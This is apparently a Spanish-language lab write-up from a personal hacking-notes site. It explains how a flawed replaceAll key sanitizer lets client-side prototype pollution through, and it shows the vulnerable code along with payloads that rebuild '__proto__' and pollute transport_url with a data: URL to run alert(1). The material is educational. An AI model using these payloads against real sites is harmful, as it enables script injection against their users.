> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Prototype Pollution del lado del cliente mediante sanitización defectuosa

### Contaminación del prototipo del lado del cliente mediante sanitización defectuosa

#### (1) Contexto e idea general

La aplicación lee la configuración de la URL y luego la convierte en un objeto JavaScript mediante `deparam(...)`:

* Construye `config = { params: deparam(...) }`
* Luego usa `config.transport_url` para cargar un `<script src="...">`

Para evitar la contaminación del prototipo, los desarrolladores añadieron `sanitizeKey()` que elimina las siguientes subcadenas en las claves\:/ `constructor`, `__proto__`, `prototype`.

Problema: esta sanitización es solo un **replaceAll**. Si **cortas** la palabra prohibida en partes, después de la sustitución puede **reconstruirse**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Origen: omitir el filtro y contaminar `Object.prototype`

El filtro elimina `__proto__` Si está presente tal cual. / Se reconstruye poniendo `__proto__` **en medio** de una clave más grande, de modo que, después de la eliminación, la clave final se convierta exactamente en `__proto__`.

Carga útil:

```javascript
?__pro__proto__to__[foo]=bar
```

Después de la sanitización:

* `__pro__proto__to__` → (eliminación de `__proto__`) → `__proto__`

Así que es como:

* `?__proto__[foo]=bar` -> contaminación global del prototipo

Compruébalo en la consola:

```javascript
console.log({}.foo)
```

<figure><img src="/files/8ec5d5b150887b785586b6d367bf2af99c4b2497" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Explotación final: activar `alert()`

`transport_url` está contaminado con un `data:` esquema que ejecuta JavaScript cuando se carga el script:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/1e2c11d318036e87001af0009f62a74f3cb60f2b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
